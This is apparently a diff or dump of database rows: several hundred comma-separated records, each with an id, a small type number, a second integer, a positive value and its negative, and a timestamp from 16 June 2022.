+6267,6,4720,5.727331515,-5.727331515,2022-06-16 09:28:17.023735+00 +6272,6,4736,7.13257629,-7.13257629,2022-06-16 09:28:17.244372+00 +6776,1,4973,14.62755849,-14.62755849,2022-06-16 09:34:37.385132+00 +6777,1,4989,14.59210911,-14.59210911,2022-06-16 09:34:37.385968+00 +9846,7,6058,14.8746426,-14.8746426,2022-06-16 10:11:41.981014+00 +6302,6,4715,11.31683723,-11.31683723,2022-06-16 09:28:52.974913+00 +6788,1,4891,10.25326826,-10.25326826,2022-06-16 09:34:43.39751+00 +6789,1,4907,10.53152969,-10.53152969,2022-06-16 09:34:43.399021+00 +6790,1,4923,10.31288296,-10.31288296,2022-06-16 09:34:43.399948+00 +6791,1,4982,14.94894287,-14.94894287,2022-06-16 09:34:43.400814+00 +6792,1,4983,14.9163646,-14.9163646,2022-06-16 09:34:43.401486+00 +7429,2,5002,14.99309431,-14.99309431,2022-06-16 09:42:05.191831+00 +6805,6,4907,10.80803999,-10.80803999,2022-06-16 09:34:54.623943+00 +11720,1,6385,14.47256063,-14.47256063,2022-06-16 10:26:58.668016+00 +6343,2,4699,12.97516236,-12.97516236,2022-06-16 09:29:09.405727+00 +11721,1,6369,14.3641025,-14.3641025,2022-06-16 10:26:58.671777+00 +6826,2,4928,7.564949151,-7.564949151,2022-06-16 09:35:04.443379+00 +6351,2,4715,13.27929409,-13.27929409,2022-06-16 09:29:09.524568+00 +6354,3,4800,12.16879087,-12.16879087,2022-06-16 09:29:09.601845+00 +11722,1,6377,14.18919438,-14.18919438,2022-06-16 10:26:58.672736+00 +7468,2,5242,15.85754076,-15.85754076,2022-06-16 09:42:34.229622+00 +6841,2,4907,12.7890832,-12.7890832,2022-06-16 09:35:09.438382+00 +9930,1,6207,13.02163923,-13.02163923,2022-06-16 10:12:22.536114+00 +6371,4,4576,7.569897449,-7.569897449,2022-06-16 09:29:52.457513+00 +9931,1,6174,11.64650649,-11.64650649,2022-06-16 10:12:22.537022+00 +8239,2,5546,14.32355687,-14.32355687,2022-06-16 09:52:33.260942+00 +7504,1,5147,9.648846982,-9.648846982,2022-06-16 09:42:58.46379+00 +7505,1,5163,9.914574521,-9.914574521,2022-06-16 09:42:58.467074+00 +7506,1,5206,14.3368537,-14.3368537,2022-06-16 09:42:58.468019+00 +7507,1,5207,14.30808301,-14.30808301,2022-06-16 09:42:58.469331+00 +7508,1,5179,9.655995216,-9.655995216,2022-06-16 09:42:58.470196+00 +7515,3,5232,8.981883378,-8.981883378,2022-06-16 09:42:59.738205+00 +6908,6,4987,10.52027434,-10.52027434,2022-06-16 09:36:10.10149+00 +4805,1,3995,12.40256994,-12.40256994,2022-06-16 09:06:22.238174+00 +4806,1,4027,12.30589913,-12.30589913,2022-06-16 09:06:22.239613+00 +4807,1,4011,12.75895325,-12.75895325,2022-06-16 09:06:22.240501+00 +5828,6,4589,10.97817213,-10.97817213,2022-06-16 09:22:57.42782+00 +5843,6,4539,11.41577092,-11.41577092,2022-06-16 09:22:58.757992+00 +5859,4,4448,7.730507063,-7.730507063,2022-06-16 09:23:10.10665+00 +8737,4,5664,7.13393352,-7.13393352,2022-06-16 09:59:50.390022+00 +6495,2,4779,13.13371884,-13.13371884,2022-06-16 09:31:09.55303+00 +4983,2,4096,8.351224309,-8.351224309,2022-06-16 09:09:04.563311+00 +22528,1,8814,7.839968589,-7.839968589,2022-06-16 11:34:53.05476+00 +5908,4,4592,3.939926961,-3.939926961,2022-06-16 09:24:05.106321+00 +5909,4,4608,5.037868338,-5.037868338,2022-06-16 09:24:05.110639+00 +7947,4,5291,7.513948717,-7.513948717,2022-06-16 09:48:22.229246+00 +5932,6,4603,11.31918795,-11.31918795,2022-06-16 09:24:09.856666+00 +7948,4,5355,7.488725123,-7.488725123,2022-06-16 09:48:22.232575+00 +5059,4,3984,11.32465971,-11.32465971,2022-06-16 09:10:14.544963+00 +7949,4,5307,7.315297436,-7.315297436,2022-06-16 09:48:22.233456+00 +5072,6,4160,7.691772439,-7.691772439,2022-06-16 09:10:22.329443+00 +7950,4,5371,7.291010975,-7.291010975,2022-06-16 09:48:22.234236+00 +6584,1,4664,17.68386511,-17.68386511,2022-06-16 09:32:07.386518+00 +6597,4,4843,8.39413772,-8.39413772,2022-06-16 09:32:22.772126+00 +5116,6,4139,12.82140415,-12.82140415,2022-06-16 09:11:10.930876+00 +5126,6,4155,12.31899751,-12.31899751,2022-06-16 09:11:11.170652+00 +6609,6,4843,11.00097504,-11.00097504,2022-06-16 09:32:27.285783+00 +6620,1,4864,7.657115258,-7.657115258,2022-06-16 09:32:31.357646+00 +5157,4,4224,5.603243406,-5.603243406,2022-06-16 09:12:05.588097+00 +5158,4,4208,4.790497608,-4.790497608,2022-06-16 09:12:05.592072+00 +5571,3,4480,12.68349471,-12.68349471,2022-06-16 09:18:33.298319+00 +6621,1,4848,6.114955417,-6.114955417,2022-06-16 09:32:31.35906+00 +5589,2,4400,6.688561625,-6.688561625,2022-06-16 09:19:04.426755+00 +6021,1,4576,12.16271822,-12.16271822,2022-06-16 09:25:22.382555+00 +22529,1,8830,6.117717967,-6.117717967,2022-06-16 11:34:53.055788+00 +6639,1,4827,10.38583003,-10.38583003,2022-06-16 09:32:52.385545+00 +6640,1,4919,15.05044926,-15.05044926,2022-06-16 09:32:52.389279+00 +6641,1,4918,15.11710585,-15.11710585,2022-06-16 09:32:52.390325+00 +5630,1,4384,12.49467289,-12.49467289,2022-06-16 09:19:34.32304+00 +8805,1,5790,12.8623213,-12.8623213,2022-06-16 10:00:28.579507+00 +5641,4,4384,7.795611625,-7.795611625,2022-06-16 09:19:41.243131+00 +8806,1,5822,13.7467647,-13.7467647,2022-06-16 10:00:28.582729+00 +6680,6,4848,5.587736237,-5.587736237,2022-06-16 09:33:14.51263+00 +5669,6,4480,7.328946282,-7.328946282,2022-06-16 09:20:20.678368+00 +6087,6,4651,11.59485789,-11.59485789,2022-06-16 09:26:31.469931+00 +7294,6,5120,7.071135428,-7.071135428,2022-06-16 09:40:31.518931+00 +5319,6,4272,6.352321693,-6.352321693,2022-06-16 09:14:38.797374+00 +6102,6,4733,10.73860967,-10.73860967,2022-06-16 09:26:36.584935+00 +5334,6,4283,12.02456563,-12.02456563,2022-06-16 09:14:43.113566+00 +8020,2,5371,11.28961304,-11.28961304,2022-06-16 09:49:14.430999+00 +8807,1,5791,12.78242636,-12.78242636,2022-06-16 10:00:28.583624+00 +7320,3,5040,9.158083404,-9.158083404,2022-06-16 09:40:53.518345+00 +7321,3,5104,9.106202878,-9.106202878,2022-06-16 09:40:53.521655+00 +5731,2,4480,7.895068646,-7.895068646,2022-06-16 09:21:04.534013+00 +7322,3,5168,9.05471607,-9.05471607,2022-06-16 09:40:53.522461+00 +5745,3,4528,10.70728566,-10.70728566,2022-06-16 09:21:39.408843+00 +6137,1,4726,16.77050983,-16.77050983,2022-06-16 09:27:22.392132+00 +6138,1,4534,16.69164276,-16.69164276,2022-06-16 09:27:22.395856+00 +6139,1,4599,16.77050983,-16.77050983,2022-06-16 09:27:22.396761+00 +6140,1,4535,16.69164276,-16.69164276,2022-06-16 09:27:22.397849+00 +6141,1,4598,16.61314938,-16.61314938,2022-06-16 09:27:22.398776+00 +5781,4,4376,12.24908211,-12.24908211,2022-06-16 09:21:55.924995+00 +6142,1,4406,16.53503065,-16.53503065,2022-06-16 09:27:22.400735+00 +6143,1,4470,16.45728747,-16.45728747,2022-06-16 09:27:22.401864+00 +6144,1,4663,16.61314938,-16.61314938,2022-06-16 09:27:22.40256+00 +6145,1,4407,16.53503065,-16.53503065,2022-06-16 09:27:22.40339+00 +6146,1,4662,16.37992062,-16.37992062,2022-06-16 09:27:22.404288+00 +6147,1,4727,16.45728747,-16.45728747,2022-06-16 09:27:22.404941+00 +6148,1,4471,16.37992062,-16.37992062,2022-06-16 09:27:22.405812+00 +10613,4,6320,2.016627223,-2.016627223,2022-06-16 10:18:06.000178+00 +7341,4,5024,7.385216152,-7.385216152,2022-06-16 09:41:02.726771+00 +7346,2,5104,5.471761423,-5.471761423,2022-06-16 09:41:04.43954+00 +6756,4,4907,8.268579826,-8.268579826,2022-06-16 09:34:20.747873+00 +6757,4,4923,8.084991174,-8.084991174,2022-06-16 09:34:20.751172+00 +6758,4,4891,7.990506916,-7.990506916,2022-06-16 09:34:20.752061+00 +9743,1,6078,13.23878923,-13.23878923,2022-06-16 10:10:31.554987+00 +7357,2,5099,12.29370535,-12.29370535,2022-06-16 09:41:14.431392+00 +7358,2,4859,12.15327424,-12.15327424,2022-06-16 09:41:14.43456+00 +7359,2,4923,12.09458784,-12.09458784,2022-06-16 09:41:14.435425+00 +6799,6,4891,10.52680016,-10.52680016,2022-06-16 09:34:54.365312+00 +6261,1,4790,15.49650773,-15.49650773,2022-06-16 09:28:16.393752+00 +6262,1,4791,15.46166596,-15.46166596,2022-06-16 09:28:16.397141+00 +7360,2,4987,12.03627831,-12.03627831,2022-06-16 09:41:14.436333+00 +6273,4,4699,8.386952448,-8.386952448,2022-06-16 09:28:20.212091+00 +6274,4,4715,8.64041482,-8.64041482,2022-06-16 09:28:20.21339+00 +6275,4,4731,8.366023414,-8.366023414,2022-06-16 09:28:21.455636+00 +7361,2,5051,11.97834349,-11.97834349,2022-06-16 09:41:14.437117+00 +7362,2,5115,11.92078121,-11.92078121,2022-06-16 09:41:14.437873+00 +8062,6,5485,9.208400097,-9.208400097,2022-06-16 09:50:09.058159+00 +9744,1,6110,11.81530991,-11.81530991,2022-06-16 10:10:31.558423+00 +6307,6,4731,10.98865896,-10.98865896,2022-06-16 09:28:53.216798+00 +9745,1,6063,14.0198196,-14.0198196,2022-06-16 10:10:31.559315+00 +9746,1,6143,13.12577486,-13.12577486,2022-06-16 10:10:31.560106+00 +9747,1,6014,13.15706042,-13.15706042,2022-06-16 10:10:31.560911+00 +9748,1,6062,14.07256554,-14.07256554,2022-06-16 10:10:31.562099+00 +9749,1,6111,11.8095473,-11.8095473,2022-06-16 10:10:31.563144+00 +6882,4,4992,4.433736972,-4.433736972,2022-06-16 09:36:05.704618+00 +6883,4,4976,3.461974727,-3.461974727,2022-06-16 09:36:05.708897+00 +7430,6,5179,10.01368953,-10.01368953,2022-06-16 09:42:05.193258+00 +8962,6,5803,8.939851188,-8.939851188,2022-06-16 10:02:34.191557+00 +6903,6,4971,10.70982578,-10.70982578,2022-06-16 09:36:09.838673+00 +6355,1,4536,18.06616938,-18.06616938,2022-06-16 09:29:13.383198+00 +6909,1,4992,7.317746362,-7.317746362,2022-06-16 09:36:10.40843+00 +6910,1,4976,5.837051552,-5.837051552,2022-06-16 09:36:10.409677+00 +9761,7,6090,14.80057429,-14.80057429,2022-06-16 10:10:41.125179+00 +6367,4,4512,7.593654719,-7.593654719,2022-06-16 09:29:44.810525+00 +6372,4,4640,7.546257099,-7.546257099,2022-06-16 09:29:58.291166+00 +7469,1,5168,5.222201571,-5.222201571,2022-06-16 09:42:37.488418+00 +7470,1,5184,7.058883806,-7.058883806,2022-06-16 09:42:37.491921+00 +6925,1,5037,14.46528091,-14.46528091,2022-06-16 09:36:28.436915+00 +6926,1,5053,14.43048802,-14.43048802,2022-06-16 09:36:28.440554+00 +6387,6,4795,10.94042591,-10.94042591,2022-06-16 09:30:04.381344+00 +6927,1,5021,14.49643444,-14.49643444,2022-06-16 09:36:28.441389+00 +6935,7,5002,16.44473131,-16.44473131,2022-06-16 09:36:47.039346+00 +10614,4,6328,10.52941701,-10.52941701,2022-06-16 10:18:06.004252+00 +10615,4,6336,4.019422397,-4.019422397,2022-06-16 10:18:06.005923+00 +6398,6,4829,10.67952202,-10.67952202,2022-06-16 09:30:05.219008+00 +6399,4,4784,3.74878697,-3.74878697,2022-06-16 09:30:05.34533+00 +6400,4,4800,4.731057072,-4.731057072,2022-06-16 09:30:05.349029+00 +6401,1,4795,10.60379931,-10.60379931,2022-06-16 09:30:07.354151+00 +6402,1,4763,10.57498234,-10.57498234,2022-06-16 09:30:07.35533+00 +6403,1,4779,10.85951878,-10.85951878,2022-06-16 09:30:07.35619+00 +6404,4,4765,12.05074762,-12.05074762,2022-06-16 09:30:07.934066+00 +4808,4,4027,9.537475097,-9.537475097,2022-06-16 09:06:24.982102+00 +4809,4,4011,9.942984003,-9.942984003,2022-06-16 09:06:24.98353+00 +6479,2,4784,6.145814506,-6.145814506,2022-06-16 09:31:04.429396+00 +12637,2,6784,6.790447699,-6.790447699,2022-06-16 10:33:04.610433+00 +6496,1,4839,15.13127116,-15.13127116,2022-06-16 09:31:13.388088+00 +6497,1,4838,15.19814658,-15.19814658,2022-06-16 09:31:13.391387+00 +22530,1,8831,5.922716409,-5.922716409,2022-06-16 11:34:53.056775+00 +5899,6,4637,11.0049858,-11.0049858,2022-06-16 09:24:03.635284+00 +5446,6,4381,11.43328276,-11.43328276,2022-06-16 09:16:50.764082+00 +5910,4,4605,12.36020828,-12.36020828,2022-06-16 09:24:07.925777+00 +5911,4,4589,12.33762065,-12.33762065,2022-06-16 09:24:07.929729+00 +5912,4,4573,12.38249593,-12.38249593,2022-06-16 09:24:07.930948+00 +5922,6,4587,11.79258592,-11.79258592,2022-06-16 09:24:09.635829+00 +5060,4,4155,9.350930383,-9.350930383,2022-06-16 09:10:21.79658+00 +5061,4,4139,9.750379924,-9.750379924,2022-06-16 09:10:21.800002+00 +5062,4,4123,9.382252818,-9.382252818,2022-06-16 09:10:21.800921+00 +5073,4,4048,11.28331235,-11.28331235,2022-06-16 09:10:26.168059+00 +7951,1,5421,13.41068598,-13.41068598,2022-06-16 09:48:22.581742+00 +7952,1,5437,13.37994682,-13.37994682,2022-06-16 09:48:22.585261+00 +5938,4,4440,12.15513558,-12.15513558,2022-06-16 09:24:11.974278+00 +5537,6,4379,12.07088221,-12.07088221,2022-06-16 09:18:15.217628+00 +5547,6,4411,11.76608938,-11.76608938,2022-06-16 09:18:15.678368+00 +10616,4,6317,8.768456594,-8.768456594,2022-06-16 10:18:09.065636+00 +5572,1,4400,7.444249642,-7.444249642,2022-06-16 09:18:49.327046+00 +5159,4,4189,13.27470748,-13.27470748,2022-06-16 09:12:09.055525+00 +5160,4,4221,13.14589648,-13.14589648,2022-06-16 09:12:09.059993+00 +5161,4,4205,13.12122361,-13.12122361,2022-06-16 09:12:09.060924+00 +5171,3,4224,13.19259837,-13.19259837,2022-06-16 09:12:11.81388+00 +5172,3,4288,13.11700989,-13.11700989,2022-06-16 09:12:11.817381+00 +5573,1,4416,8.846162633,-8.846162633,2022-06-16 09:18:49.330432+00 +10617,4,6333,8.75681947,-8.75681947,2022-06-16 10:18:09.069035+00 +6585,4,4845,11.64021107,-11.64021107,2022-06-16 09:32:09.571845+00 +5985,2,4592,6.352214959,-6.352214959,2022-06-16 09:25:04.445813+00 +6586,4,4861,11.61687159,-11.61687159,2022-06-16 09:32:09.57607+00 +6598,4,4827,8.123410562,-8.123410562,2022-06-16 09:32:24.054315+00 +8826,6,5739,9.054225525,-9.054225525,2022-06-16 10:01:01.08024+00 +8843,2,5760,6.815508216,-6.815508216,2022-06-16 10:01:04.536822+00 +5642,4,4315,9.100544751,-9.100544751,2022-06-16 09:19:49.048368+00 +5643,4,4379,9.067057127,-9.067057127,2022-06-16 09:19:49.052028+00 +7284,6,5165,9.721620597,-9.721620597,2022-06-16 09:40:30.551346+00 +5283,4,4272,4.625992896,-4.625992896,2022-06-16 09:14:05.42082+00 +5284,4,4288,5.471360824,-5.471360824,2022-06-16 09:14:05.424351+00 +5295,3,4352,12.80226289,-12.80226289,2022-06-16 09:14:18.955197+00 +10618,4,6390,14.91364003,-14.91364003,2022-06-16 10:18:09.069855+00 +5670,4,4475,8.786334946,-8.786334946,2022-06-16 09:20:21.863118+00 +5671,4,4459,9.165678754,-9.165678754,2022-06-16 09:20:21.866565+00 +6670,2,4843,12.95959679,-12.95959679,2022-06-16 09:33:09.426007+00 +10619,4,6391,14.81467214,-14.81467214,2022-06-16 10:18:09.071326+00 +8063,4,5421,10.38965257,-10.38965257,2022-06-16 09:50:09.059337+00 +8064,4,5437,10.39241861,-10.39241861,2022-06-16 09:50:09.063886+00 +5708,3,4544,12.53427697,-12.53427697,2022-06-16 09:20:40.681999+00 +12671,2,6839,14.87315461,-14.87315461,2022-06-16 10:33:05.466424+00 +9829,6,6080,6.802932569,-6.802932569,2022-06-16 10:11:23.169022+00 +5732,2,4474,16.19388205,-16.19388205,2022-06-16 09:21:06.665146+00 +12672,2,6846,13.3292288,-13.3292288,2022-06-16 10:33:05.47102+00 +10662,6,6397,7.729305847,-7.729305847,2022-06-16 10:18:19.363057+00 +6103,1,4656,6.647806095,-6.647806095,2022-06-16 09:27:01.380893+00 +5761,4,4312,12.29380785,-12.29380785,2022-06-16 09:21:46.08092+00 +6104,1,4672,8.245030264,-8.245030264,2022-06-16 09:27:01.384189+00 +6110,3,4736,12.29366085,-12.29366085,2022-06-16 09:27:02.483319+00 +22531,1,8815,7.800792048,-7.800792048,2022-06-16 11:34:53.05782+00 +11723,1,6353,14.23410853,-14.23410853,2022-06-16 10:26:58.67352+00 +11724,1,6393,14.12956431,-14.12956431,2022-06-16 10:26:58.674348+00 +5801,6,4544,7.240410144,-7.240410144,2022-06-16 09:22:08.197701+00 +6759,1,4912,5.972413748,-5.972413748,2022-06-16 09:34:22.386621+00 +6760,1,4928,7.463472706,-7.463472706,2022-06-16 09:34:22.38989+00 +6149,1,4438,16.53783754,-16.53783754,2022-06-16 09:27:28.377132+00 +6150,1,4510,16.49937178,-16.49937178,2022-06-16 09:27:28.380311+00 +6151,1,4447,16.53783754,-16.53783754,2022-06-16 09:27:28.381118+00 +6152,1,4607,16.49937178,-16.49937178,2022-06-16 09:27:28.381887+00 +6153,1,4670,16.46106023,-16.46106023,2022-06-16 09:27:28.382679+00 +6154,1,4639,16.42215633,-16.42215633,2022-06-16 09:27:28.383814+00 +6155,1,4695,16.42299227,-16.42299227,2022-06-16 09:27:28.384583+00 +6156,1,4702,16.38409249,-16.38409249,2022-06-16 09:27:28.385244+00 +6157,1,4502,16.34609043,-16.34609043,2022-06-16 09:27:28.385885+00 +6158,1,4575,16.30740697,-16.30740697,2022-06-16 09:27:28.386691+00 +6159,1,4479,16.30851086,-16.30851086,2022-06-16 09:27:28.387648+00 +6160,1,4566,16.26983167,-16.26983167,2022-06-16 09:27:28.388328+00 +6161,1,4671,16.23249655,-16.23249655,2022-06-16 09:27:28.388953+00 +6162,1,4638,16.23231841,-16.23231841,2022-06-16 09:27:28.389749+00 +6163,1,4382,16.15667683,-16.15667683,2022-06-16 09:27:28.390739+00 +6164,1,4567,16.23371183,-16.23371183,2022-06-16 09:27:28.391387+00 +6165,1,4439,16.15818481,-16.15818481,2022-06-16 09:27:28.392016+00 +6166,1,4374,16.11946689,-16.11946689,2022-06-16 09:27:28.392701+00 +6167,1,4503,16.08302924,-16.08302924,2022-06-16 09:27:28.393853+00 +6168,1,4542,16.15950605,-16.15950605,2022-06-16 09:27:28.394524+00 +6169,1,4694,16.00744932,-16.00744932,2022-06-16 09:27:28.395241+00 +6170,1,4511,16.04513767,-16.04513767,2022-06-16 09:27:28.395962+00 +6171,1,4631,15.97157856,-15.97157856,2022-06-16 09:27:28.396577+00 +6172,1,4383,15.93416364,-15.93416364,2022-06-16 09:27:28.397206+00 +6173,1,4543,15.93625874,-15.93625874,2022-06-16 09:27:28.397965+00 +6174,1,4446,15.97087021,-15.97087021,2022-06-16 09:27:28.398728+00 +6175,1,4574,15.89670234,-15.89670234,2022-06-16 09:27:28.399494+00 +6176,1,4478,15.97519745,-15.97519745,2022-06-16 09:27:28.400165+00 +6177,1,4415,15.86243843,-15.86243843,2022-06-16 09:27:28.400801+00 +6178,1,4414,15.90124133,-15.90124133,2022-06-16 09:27:28.401887+00 +15118,4,7390,9.964960489,-9.964960489,2022-06-16 10:50:11.732075+00 +15119,4,7327,9.783401304,-9.783401304,2022-06-16 10:50:11.735492+00 +6204,1,4632,17.27256971,-17.27256971,2022-06-16 09:27:37.353773+00 +7432,4,5168,3.124385138,-3.124385138,2022-06-16 09:42:05.36347+00 +7433,4,5184,4.340192424,-4.340192424,2022-06-16 09:42:05.367163+00 +6800,2,4858,16.21127005,-16.21127005,2022-06-16 09:34:54.48668+00 +9981,1,6136,14.96209292,-14.96209292,2022-06-16 10:12:58.54122+00 +9042,2,5863,18.08602053,-18.08602053,2022-06-16 10:03:04.956804+00 +6821,3,4976,9.716876545,-9.716876545,2022-06-16 09:35:03.912804+00 +15120,4,7391,9.742762364,-9.742762364,2022-06-16 10:50:11.736388+00 +7471,1,5152,11.2259383,-11.2259383,2022-06-16 09:42:43.490745+00 +7480,6,5213,9.696383964,-9.696383964,2022-06-16 09:42:49.359812+00 +6851,6,4989,10.05470139,-10.05470139,2022-06-16 09:35:11.955442+00 +9055,2,5819,10.29682498,-10.29682498,2022-06-16 10:03:14.537677+00 +6276,1,4699,10.7397867,-10.7397867,2022-06-16 09:28:22.365233+00 +6277,1,4767,15.4333408,-15.4333408,2022-06-16 09:28:22.368663+00 +6278,1,4715,11.0268831,-11.0268831,2022-06-16 09:28:22.369655+00 +6279,1,4799,15.43661016,-15.43661016,2022-06-16 09:28:22.370531+00 +6280,1,4766,15.46729327,-15.46729327,2022-06-16 09:28:22.371765+00 +6281,1,4758,15.43300947,-15.43300947,2022-06-16 09:28:22.372778+00 +6282,1,4759,15.3650585,-15.3650585,2022-06-16 09:28:22.373656+00 +6283,1,4731,10.70356866,-10.70356866,2022-06-16 09:28:22.374398+00 +7498,6,5229,9.568213044,-9.568213044,2022-06-16 09:42:55.119922+00 +8240,2,5514,13.9600279,-13.9600279,2022-06-16 09:52:36.104377+00 +4810,4,3995,9.5687495,-9.5687495,2022-06-16 09:06:26.231307+00 +4811,1,3960,19.66542012,-19.66542012,2022-06-16 09:06:31.264789+00 +4812,1,4032,9.881483538,-9.881483538,2022-06-16 09:06:52.265413+00 +4813,1,4016,8.716017594,-8.716017594,2022-06-16 09:06:52.269061+00 +4814,7,4080,15.34202397,-15.34202397,2022-06-16 09:07:01.357846+00 +22532,1,8799,7.967718482,-7.967718482,2022-06-16 11:34:53.058904+00 +6498,4,4768,7.494630517,-7.494630517,2022-06-16 09:31:13.426836+00 +13848,2,7071,10.9144362,-10.9144362,2022-06-16 10:41:04.842099+00 +19399,3,8239,17.95844886,-17.95844886,2022-06-16 11:17:08.196194+00 +4819,2,4016,7.358064644,-7.358064644,2022-06-16 09:07:04.477767+00 +13883,2,7019,8.974129781,-8.974129781,2022-06-16 10:41:14.536055+00 +16579,4,7667,12.19046369,-12.19046369,2022-06-16 11:00:20.226806+00 +5447,4,4280,13.4589881,-13.4589881,2022-06-16 09:16:53.933338+00 +6587,4,4829,11.6880781,-11.6880781,2022-06-16 09:32:10.890182+00 +4824,2,4032,8.452492176,-8.452492176,2022-06-16 09:07:04.591374+00 +6599,4,4859,8.169380841,-8.169380841,2022-06-16 09:32:26.48193+00 +7229,3,5120,11.76281886,-11.76281886,2022-06-16 09:39:47.320887+00 +5493,3,4400,10.90264323,-10.90264323,2022-06-16 09:17:18.860265+00 +5504,1,4320,12.68352263,-12.68352263,2022-06-16 09:17:40.322273+00 +5074,1,4144,8.403185036,-8.403185036,2022-06-16 09:10:34.281957+00 +5075,1,4160,9.601765674,-9.601765674,2022-06-16 09:10:34.285604+00 +5085,6,4205,11.67787531,-11.67787531,2022-06-16 09:10:56.694702+00 +5949,6,4592,5.809853232,-5.809853232,2022-06-16 09:24:35.797502+00 +11725,2,6586,14.12952339,-14.12952339,2022-06-16 10:26:59.67193+00 +4834,6,4061,12.02183203,-12.02183203,2022-06-16 09:07:13.528779+00 +4835,4,3800,13.07505544,-13.07505544,2022-06-16 09:07:15.523396+00 +6629,6,4909,10.20410964,-10.20410964,2022-06-16 09:32:34.533555+00 +5551,4,4395,9.280648047,-9.280648047,2022-06-16 09:18:21.030758+00 +5552,4,4411,8.870373132,-8.870373132,2022-06-16 09:18:21.03415+00 +7264,4,5151,15.66609202,-15.66609202,2022-06-16 09:40:15.65218+00 +4840,6,4077,11.90340662,-11.90340662,2022-06-16 09:07:19.258285+00 +5563,6,4416,7.408042888,-7.408042888,2022-06-16 09:18:26.178635+00 +6660,2,4848,6.107103009,-6.107103009,2022-06-16 09:33:04.466382+00 +5183,6,4187,12.33302243,-12.33302243,2022-06-16 09:12:21.507941+00 +5193,6,4219,12.21119875,-12.21119875,2022-06-16 09:12:21.973877+00 +7265,4,5182,15.99987957,-15.99987957,2022-06-16 09:40:15.65548+00 +4846,4,3864,13.02586852,-13.02586852,2022-06-16 09:07:24.937031+00 +7266,4,5183,15.81456706,-15.81456706,2022-06-16 09:40:15.656429+00 +16580,4,7627,15.12745772,-15.12745772,2022-06-16 11:00:20.230145+00 +15199,3,7422,17.67751198,-17.67751198,2022-06-16 10:51:02.867804+00 +6701,3,4928,11.88258616,-11.88258616,2022-06-16 09:33:25.055214+00 +16581,4,7659,4.464567941,-4.464567941,2022-06-16 11:00:20.231002+00 +6056,6,4656,5.772930446,-5.772930446,2022-06-16 09:26:08.150448+00 +8065,4,5494,15.41819525,-15.41819525,2022-06-16 09:50:10.571512+00 +5652,4,4464,4.210520291,-4.210520291,2022-06-16 09:20:05.763986+00 +5653,4,4480,5.147737845,-5.147737845,2022-06-16 09:20:05.767964+00 +5285,4,4269,13.03486756,-13.03486756,2022-06-16 09:14:07.939997+00 +5286,4,4285,13.00578664,-13.00578664,2022-06-16 09:14:07.944078+00 +5287,4,4253,13.07990536,-13.07990536,2022-06-16 09:14:07.9458+00 +5296,4,4267,9.538414934,-9.538414934,2022-06-16 09:14:20.800537+00 +5297,4,4283,9.117523482,-9.117523482,2022-06-16 09:14:20.804281+00 +8066,4,5495,15.42126578,-15.42126578,2022-06-16 09:50:10.574631+00 +4862,3,4096,13.32839455,-13.32839455,2022-06-16 09:07:29.450042+00 +5312,6,4349,11.41443178,-11.41443178,2022-06-16 09:14:35.360366+00 +6082,6,4635,11.20090907,-11.20090907,2022-06-16 09:26:31.224221+00 +6733,1,4728,17.54606971,-17.54606971,2022-06-16 09:33:58.381849+00 +5329,6,4267,12.51848061,-12.51848061,2022-06-16 09:14:42.890831+00 +16582,4,7643,5.7050394,-5.7050394,2022-06-16 11:00:20.231846+00 +14010,4,7088,1.571938073,-1.571938073,2022-06-16 10:42:07.193436+00 +5700,6,4475,11.56393058,-11.56393058,2022-06-16 09:20:37.257526+00 +5710,2,4538,16.26976265,-16.26976265,2022-06-16 09:20:45.189131+00 +6761,4,4696,11.66355454,-11.66355454,2022-06-16 09:34:25.250361+00 +8099,6,5419,9.655556657,-9.655556657,2022-06-16 09:50:21.662367+00 +11839,6,6655,15.24161845,-15.24161845,2022-06-16 10:27:23.835515+00 +5733,7,4530,16.88346929,-16.88346929,2022-06-16 09:21:09.896468+00 +12885,2,6845,10.52003096,-10.52003096,2022-06-16 10:34:19.548588+00 +6793,1,4958,14.92193559,-14.92193559,2022-06-16 09:34:46.380175+00 +6179,1,4583,15.97931099,-15.97931099,2022-06-16 09:27:31.378975+00 +5762,1,4448,12.41536247,-12.41536247,2022-06-16 09:21:46.356212+00 +6180,1,4518,15.97939624,-15.97939624,2022-06-16 09:27:31.383724+00 +6181,1,4630,15.75183719,-15.75183719,2022-06-16 09:27:31.384869+00 +6182,1,4375,15.75272356,-15.75272356,2022-06-16 09:27:31.38602+00 +4882,4,3928,12.97692476,-12.97692476,2022-06-16 09:07:33.394445+00 +6183,1,4454,15.86999713,-15.86999713,2022-06-16 09:27:31.387239+00 +5796,6,4528,6.010071501,-6.010071501,2022-06-16 09:22:07.957458+00 +5805,1,4440,17.69377849,-17.69377849,2022-06-16 09:22:16.347977+00 +6184,1,4710,15.79685289,-15.79685289,2022-06-16 09:27:31.388807+00 +6185,1,4455,15.86991058,-15.86991058,2022-06-16 09:27:31.3901+00 +6186,1,4646,15.72407585,-15.72407585,2022-06-16 09:27:31.390983+00 +4889,1,4024,19.54224957,-19.54224957,2022-06-16 09:07:34.239842+00 +4890,2,3994,16.53486917,-16.53486917,2022-06-16 09:07:36.590258+00 +4891,1,4000,12.94906294,-12.94906294,2022-06-16 09:07:46.267751+00 +6187,1,4391,15.7967669,-15.7967669,2022-06-16 09:27:31.391837+00 +6188,1,4582,15.65166611,-15.65166611,2022-06-16 09:27:31.393135+00 +6189,1,4711,15.72399042,-15.72399042,2022-06-16 09:27:31.394286+00 +6190,1,4390,15.57962374,-15.57962374,2022-06-16 09:27:31.395128+00 +6191,1,4647,15.65158126,-15.65158126,2022-06-16 09:27:31.396218+00 +6192,1,4703,15.57429159,-15.57429159,2022-06-16 09:27:31.397241+00 +6193,1,4519,15.54462888,-15.54462888,2022-06-16 09:27:31.39807+00 +6794,1,4959,14.89030767,-14.89030767,2022-06-16 09:34:46.38401+00 +8979,6,5824,6.542197415,-6.542197415,2022-06-16 10:02:44.282112+00 +6205,4,4504,12.0285987,-12.0285987,2022-06-16 09:27:40.16066+00 +8996,6,5885,8.571211498,-8.571211498,2022-06-16 10:02:53.516212+00 +6815,6,4957,10.17428323,-10.17428323,2022-06-16 09:35:02.982633+00 +9002,1,5792,10.20444373,-10.20444373,2022-06-16 10:02:58.534832+00 +7434,4,5165,10.90078762,-10.90078762,2022-06-16 09:42:08.680055+00 +6837,6,4973,10.07220853,-10.07220853,2022-06-16 09:35:09.321606+00 +7435,4,5149,10.96914329,-10.96914329,2022-06-16 09:42:08.683341+00 +6852,2,4794,16.1364106,-16.1364106,2022-06-16 09:35:22.712762+00 +6859,3,4992,11.73326652,-11.73326652,2022-06-16 09:35:32.569852+00 +6247,4,4736,4.829724134,-4.829724134,2022-06-16 09:28:05.128721+00 +6248,4,4720,3.803921456,-3.803921456,2022-06-16 09:28:05.132322+00 